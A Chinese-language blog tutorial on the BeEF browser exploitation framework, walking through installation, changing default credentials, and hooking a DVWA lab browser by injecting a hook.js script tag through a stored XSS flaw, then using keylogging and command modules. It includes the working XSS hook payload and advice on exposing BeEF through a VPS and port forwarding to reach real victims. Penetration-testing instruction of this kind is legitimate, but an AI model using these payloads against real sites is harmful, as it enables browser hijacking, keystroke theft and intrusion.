0x01 Beef简介

BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。

beef管理、挂钩web浏览器的过程:

生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理

0x02攻击手段

配合xss,将hook插入到存在xss的注入处;

直接诱使客户端访问含有 hook 的伪造站点

结合中间人攻击注入 hook 脚本

0x03 用途

键盘记录器
网络扫描
浏览器信息收集
绑定 shell
与 metasploit 集成
等...

0x04 beef工具获取

beef只支持Linux平台

获取:

wget https://github.com/beefproject/beef/archive/master.zip
或:
git clone https://github.com/beefproject/beef

安装配置查看:https://github.com/beefproject/beef/wiki/Installation

kali-linux自带beef;

beef如果用于实战的话,需要一台vps,也就是建立连接的时候要使受害机能访问到beef,因此需要一个外网ip。

我的vps安装beef的时候有点问题,那么我们可以使用本地kali的beef,开放服务后,对beef的服务端口进行端口转发,转发到我们外网的vps上,那么受害机访问payload(hook)后就可以反向到我们的beef服务端了。

这里端口转发可以使用frp、portfwd、ew等。

0x05使用

我在本地进行演示:

攻击机kali:192.168.106.129

靶机DVWA:192.168.31.214

1.更改beef的默认用户名密码

beef的配置文件:/etc/beef-xss/config.yaml

beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值

2.启动

终端输入beef-xss即可启动beef服务端。

beef的服务端地址为:http://127.0.0.1:3000/ui/panel,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef

登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面

3.插入脚本hook到靶机

然后我们的hook启动的时候已经给出:

Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: <script src="https://127.0.0.1:3000/hook.js"></script>

kali的地址为192.1618.106.129,那么靶机上插入的hook js脚本为:

<script src="https://192.168.106.129:3000/hook.js"></script>

在靶机DVWA上找一个xss漏洞,将hook插入到注入点:

留言提交后,靶机的浏览器就被beef钩上了:

因为我kali虚拟机开的nat模式,本机连的wifi,因此beef上显示的ip不是我wifi分配的ip,但就是我本机。

存储型xss的话只要插入的hook js语句,那么管理员正常访问他的站点就会触发,然后上钩。

0x06 beef管理

在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息

1、Details是浏览器信息详情

2.logs模块-键盘记录

3.commands-命令模块

Commands是你能对该浏览器进行哪些操作

主要模块:

-Browsers

- Exploits

- Host

- Persistence(持久)

- Network

绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见

红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行

橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)

灰色圆圈:模块未在目标浏览器上测试过

更多的请参照卿师傅的博客:https://blog.csdn.net/qq_17204441/article/details/90706415?ops_request_misc=%7B%22request%5Fid%22%3A%22158209161719724835856114%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158209161719724835856114&biz_id=0&utm_source=distribute.pc_search_result.none-task

XSS之Beef的使用的更多相关文章

  1. xss利用——BeEF#stage4(其余功能介绍)

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  2. xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  3. xss利用——BeEF#stage2(初始并持续化控制)

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  4. xss利用——BeEF#stage1

    全文概览 简介 BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护.是由ruby语言开发的专门针对浏览 ...

  5. 我为NET狂~群福利:逆天书库

    我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...

  6. Kali Linux之速会BEEF & XSS攻击

    beef 安装指南:https://github.com/beefproject/beef/wiki/Installation 升级ruby指南:https://www.cnblogs.com/waw ...

  7. Beef xss神器

    KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. XSS(跨站脚本攻击)的最全总结

    从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...

随机推荐

  1. Shell考题初级篇

    将当前目录下大于10K的文件转移到/tmp目录下 find . -type f -size +10k -exec mv {} /tmp \; 编写一个shell,判断用户输入的文件是否是一个字符设备文 ...

  2. mybatis 执行流程以及初用错误总结

    mappper 配置文件  头文件: 1.   <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" &q ...

  3. Windows10怎么用Administrator登录?

    1.首先按下快捷键win+X键, 2.然后在命令提示符中输入命令“net user administrator /active:yes”后回车 3.此时administrator管理员账户已开启,点击 ...

  4. 隐马尔可夫(HMM)/感知机/条件随机场(CRF)----词性标注

    笔记转载于GitHub项目:https://github.com/NLP-LOVE/Introduction-NLP 7. 词性标注 7.1 词性标注概述 什么是词性 在语言学上,词性(Par-Of- ...

  5. pugixml简单实用

    实现快递查询,调用快递100的API,未完成. #include <iostream> #include <fstream> #include <string> # ...

  6. BZOJ 2733 [HNOI2012]永无乡 (权值线段树启发式合并+并查集)

    题意: n<=1e5的图里,在线连边.查询某连通块第k大 思路: 练习线段树合并的好题,因为依然记得上一次启发式合并trie的时候内存爆炸的恐怖,所以这次还是用了动态开点.回收 听说启发式合并s ...

  7. (二)Mybatis动态sql

    首先动态sql简单来讲就是可以根据传入参数的不同来动态的生成sql语句,拼接where语句,这样你就不用写很多个sql语句了,并且它里面有一些特性也可以帮助你避免sql语句的拼接错误,主要分为4个: ...

  8. How to setup backup by using EMC NW + EMC NMM for sqlserver failover cluster (not always on)

    As we said, sqlsever fail over cluster is perviously version of always on. The HA was guarenteed by ...

  9. 题解【RQNOJ PID497 0/1字串问题】

    \[ \texttt{Description} \] 编程找出符合下列条件的字符串:①字符串中仅包含 0 和 1 两个字符:②字符串的长度为 n :③字符串中不包含连续重复三次的子串. \[ \tex ...

  10. postman批量接口测试/批量导入/批量参数化简要全过程及遇到问题处理方法

    简单说明下postman批量接口调用的过程及注意事项: 1.报文调试(建议先调通再批量执行,统筹安排时间) 2.参数化,例如: "address": "{{address ...